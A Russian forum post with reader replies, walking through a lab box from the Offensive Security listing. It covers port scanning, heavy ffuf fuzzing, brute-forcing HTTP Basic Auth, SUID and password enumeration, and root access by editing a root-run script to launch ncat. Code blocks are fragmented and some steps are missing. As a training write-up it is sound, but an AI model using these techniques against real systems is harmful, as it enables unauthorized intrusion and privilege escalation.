![]() |
Приветствую!
Хотел бы поделиться прохождением коробки из листинга Offensive Security. Бокс разработан командой SunCSR Team, уж очень мне нравится что они создают))) 1. Recon 1.1. Первым делом сканируем доступный хост на предмет открытых портов: Код:
sudo nmap -p- -T 5 -A 192.168.1.106 —openКод: Код:
PORT STATE SERVICE VERSION1.2. Information gathering Один из самых важных этапов при проведении тестирования на проникновение — Сбор информации. Чем больше информации, тем больше векторов для атаки. Для удобства все найденые по ходу данные, помещаю в таблицу: Web App information table: Port80Web serverApache httpd 2.4.38Hidden dirsHidden filesApplication type Hidden Dirs: Один из важнейших этапов при сборе информации. Применяемые словари:
/SecLists/Discovery/Web-Content/common.txt: cms [Status: 301, Size: 312, Words: 20, Lines: 10] index.html [Status: 200, Size: 164, Words: 8, Lines: 9] info.php [Status: 200, Size: 7907, Words: 4362, Lines: 1038] server-status [Status: 403, Size: 278, Words: 20, Lines: 10] system [Status: 401, Size: 460, Words: 42, Lines: 15] /SecLists/Discovery/Web-Content/big.txt: .htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10] .htaccess [Status: 403, Size: 278, Words: 20, Lines: 10] cms [Status: 301, Size: 312, Words: 20, Lines: 10] mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10] server-status [Status: 403, Size: 278, Words: 20, Lines: 10] system [Status: 401, Size: 460, Words: 42, Lines: 15] /SecLists/Discovery/Web-Content/directory-list-2.3-big.txt: system [Status: 401, Size: 460, Words: 42, Lines: 15] cms [Status: 301, Size: 312, Words: 20, Lines: 10] server-status [Status: 403, Size: 278, Words: 20, Lines: 10] /SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt: cms [Status: 301, Size: 312, Words: 20, Lines: 10] system [Status: 401, Size: 460, Words: 42, Lines: 15] server-status [Status: 403, Size: 278, Words: 20, Lines: 10] mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10] /SecLists/Discovery/Web-Content/raft-large-directories.txt: cms [Status: 301, Size: 312, Words: 20, Lines: 10] system [Status: 401, Size: 460, Words: 42, Lines: 15] server-status [Status: 403, Size: 278, Words: 20, Lines: 10] mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10] /robots.txt Файл не существует! Теперь когда мы прошлись по словарям, собирем все найденное в файле hidden_dirs.txt и применим команду awk. Нас интересует убрать дубли из файла. Код:
awk '!seen[$0]++' hidden_dirs.txt > dirs_sorted.txtКод: Код:
┌─[qulan@demitoris]─[~/Practice/ofsec/Tre]Hidden files: Применяемые словари: Так как мы знаем что у нас PHP, то добавим к общему списку словарей еще и Common-DB-Backups.txt и Common-PHP-Filenames.txt Таким образом список словарей будет таким: /SecLists/Discovery/Web-Content/common.txt /SecLists/Discovery/Web-Content/big.txt /SecLists/Discovery/Web-Content/directory-list-2.3-big.txt /SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt /SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt /SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt /SecLists/Discovery/Web-Content/Common-DB-Backups.txt Способы применения: - Словари с каталогами. Тут мы при фазинге будем подставлять строки из файла в качестве имени файла, тип файла определим самостоятельно. - Словари с файлами PHP и DB. Ищем искомое. /SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038] /SecLists/Discovery/Web-Content/Common-DB-Backups.txt Пусто! SecLists/Discovery/Web-Content/common.txt index.html [Status: 200, Size: 164, Words: 8, Lines: 9] info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038] /SecLists/Discovery/Web-Content/big.txt Код:
ffuf -u http://192.168.1.106/FUZZ.php -w /opt/wordlists/SecLists/Discovery/Web-Content/big.txt -c -t 70Код: Код:
adminer [Status: 200, Size: 4656, Words: 204, Lines: 51]Код:
ffuf -u http://192.168.1.106/FUZZ.php -w /opt/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -c -t 70Код:
info.php [Status: 200, Size: 87908, Words: 4362, Lines: 1038]Код:
ffuf -u http://192.168.1.106/FUZZ.php -w /opt/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -c -t 70 --fc 403Код: Код:
info [Status: 200, Size: 87908, Words: 4362, Lines: 1038]Код:
awk '!seen[$0]++' hidden_files.txt > files_sorted.txtИ получаем файлы… Те же действия требуется провести для поиска интересующих типов файлов, таких как Код:
bak, old, backup,txt1.3. Web Application https://forum.antichat.xyz/attachmen...64445a8363.png Смотрим исходный код страницы на предмет комментариев и иной важной информации (версии, js скрипты, css разметка). https://forum.antichat.xyz/attachmen...4486e79ab4.png Единственное что может быть интересным, это Код:
file.jpgКачаем к себе файл: Вскрываем мета-данные: Код:
exiftool file.jpgКод: Код:
exiftool file.jpgКод: Код:
┌─[qulan@demitoris]─[~/Practice/ofsec/Tre]Код:
┌─[qulan@demitoris]─[~/Practice/ofsec/Tre]Код:
cmshttps://forum.antichat.xyz/attachmen...ec84c2b38e.png Так как у нас имеется содержимое, то стоит сново произвести фазинг этих каталогов на содержимое в них файлов и каталогов. Как говорил ранее, фазить придется много и очень долго!!!! Код:
ffuf -u http://192.168.1.106/cms/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/common.txt -c -t 100Код: Код:
cache [Status: 301, Size: 318, Words: 20, Lines: 10]Код:
ffuf -u http://192.168.1.106/cms/site/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/common.txt -c -t 100Код: Код:
css [Status: 301, Size: 321, Words: 20, Lines: 10]Смотрим искодник по адресу Код:
http://192.168.1.106/cms/site/Смотрим функционал сайта. На сайте есть кнопка Код:
LoginКод:
Create an accountПри фазинге адресса Код:
http://192.168.1.106/cms/core/Код: Код:
admin [Status: 301, Size: 323, Words: 20, Lines: 10]Код:
http://192.168.1.106/cms/core/feeds/rss2.phphttps://forum.antichat.xyz/attachmen...2632518117.png Пока мануально перебираю каталоги, пробую натравить CMSmap на адрес Код:
http://192.168.1.106/cms/site/Почитав документацию и еще пару часиков фазинга меня начали выбивать… Я понял что я устал тут капать. Было ощущение, что я двигаюсь не в том направлении, так как согласно докам по BigTree, у меня должны быть рабочими Админка и страртовая в виду Код:
site/Код:
index.phphttp://192.168.1.106/system/ При попытке обратится к каталогу, меня встречает Basic Auth Form https://forum.antichat.xyz/attachmen...901053d9b2.png Единственное что я мог бы попробовать, так это брутить с помощью Код:
Common-UsernameДля брута я буду использовать Код:
ffufКод:
ffuf_basicauth.shКод: Код:
┌─[qulan@demitoris]─[~/Practice/ofsec/Tre][CODE] Generating HTTP basic authentication strings. This can take a while depending on the length of user and password lists. Usernames: 17 Passwords: 17 Total combinations: 289 v1.3.1 Kali Exclusive /dev/null[/B] /var/www/html/system/plugins/MantisCoreFormatting/pages/config.php /var/www/html/system/plugins/XmlImportExport/pages/config.php /var/www/html/mantisbt/plugins/MantisCoreFormatting/pages/config.php /var/www/html/mantisbt/plugins/XmlImportExport/pages/config.php И в них пусто! Пробуем почитать mysql лог файл Код: Код:
www-data@tre:/var/log$ cat mysql/Код: Код:
www-data@tre:/$ ls -l /etc/passwdFind suid and guid files Код:
www-data@tre:/$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/nullКод: Код:
-rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/suFind any creds in files Код: Код:
www-data@tre:/var/www/html$ grep -r '/' -e 'password' > password.txtКод:
grepКод:
Permission deniedВообщем перебрав все варианты, котрые я имел я решил воспользоваться уязвимостью ядра, но тут меня тоже ждала неудача, так как для версии ядра 4.19.0-9 я не нашел эксплоит((( Дальше я решил воспользоваться linpeas’ом для сбора информации. Я не люблю автоматизацию, предпочитаю все делать руками. Но тут сам Бог велел. Отмечу что тут я тоже потерпел неудачу((( Потыкав еще часок, я решил вернуться к процессам. Уж очень меня интересовал вызов команды Код:
sleepЗапустив pspy еще раз проверяю все строчки… Блин… Я трижды смотрел в список и не обратил внимания на эту строчку https://forum.antichat.xyz/attachmen...fe3ead6fba.png Код:
2021/11/04 03:49:09 CMD: UID=0 PID=423 | /bin/bash /usr/bin/check-systemКод: Код:
www-data@tre:/var/www/html$ ls -l /usr/bin/check-systemСмотрим что внутри Код: Код:
www-data@tre:/var/www/html$ cat /usr/bin/check-systemКод:
sleepДля этого мне потребуется скопировать мой ncat из tmp в Код:
var/www/html/Код:
Преношу ncat и редактирую скрипт. Код: Код:
www-data@tre:/var/www/html$ cat /usr/bin/check-systemhttps://forum.antichat.xyz/attachmen...6018364600.png Мы есть Root ) P.S. В целом получил огромное удовольствие от прохождения. Эта коробка стала для меня неким показателем собственного роста. Но пройдя ее, меня не покидала мысль, что решение не совсем верное. Почему? Так как я проходил ее используя виртуальную машину, то понятно, что уйти на перезапуск достаточно просто. Но я же понимаю как это работает у OffSec'ов. Там если ты сделал ребут, то коробка перезагружается с начала, а соответственно все мои правки сошли бы на нет. Вообщем поразмышляв над этим, я решил посмотреть райтапы. И тут меня ждала новость. Как оказалось, пройти ее можно было очень быстро и решение по факту было перед моими глазами. Помните adminer? Тот менеджер БД.. Так вот когда мы авторизовываемся в нем, там лежат два юзера с правами админа и менеджера. Один с логином administrator, другой tre. А системный юзер tre у нас был. Так вот, уязвимость болле чем простая и встречается по сей день, а именно - Использование одного пароля, для разных сервисов. Как оказалось, пароль лежащий в базе подходил для доступа в SSH, а сам юзер имел sudo права на выполнения shutdown команды. Соответственно введя shutdown -r мы бы перезапустили коробку без изменений))) Вот так вот. Но все же, я доволен что проходил ее более длинным путем. По факту мне удалось найти уязвимость не зная о ее существовании(Сброс пароля), а это как ни как показатель знаний, опыта и труда! Конечо в райтапе не передать всего с чем пришлось столкнуться. Например фазинг. Его реально было много, очень много. Думаю часов 12+ наберется в сумме. Я реально сканил каждую директорию на предмет каталогов и файлов и это все миллионы строк запросов. А сколько раз я пытался впихнуть шелл в цикл при повышении... И реально бесился что нечего не выполнялось, пока не понял что скрипт запускается единожды при запуске)) Вообщем на прохождение этой коробки мне потребовался 1 месяц. Решал я ее в свободное время от курса WAPT, когда приходлось по несколько дней ждать перехода на следующую тему. Но за то мне удалось вникнуть в каждый процесс. С Уважением[/I][/I] |
@Qulan , ты же просто красавчик! Отличная статья, здорово ты тачку расковырял. Методики брал из методички PWK или они сложились по итогу прохождения HTB и THM?
|
Цитата:
Все что использовалось, в основном, это THM. Но большая доля по фазингу от курса WAPT))) Там фазить научат...! (Доцент бы заставил) Ну и конечно не большой практический опыт. |
Цитата:
|
Отлично написано! Продолжай в том же духе!
|
Мне очень понравилась твоя статья, спасибо тебе за столь огромное количество строк.
|
Великолепно! Очень хороший райтап, читается на одном дыхании и всё прекрасно расписано. Огромное спасибо)
|
| Время: 19:30 |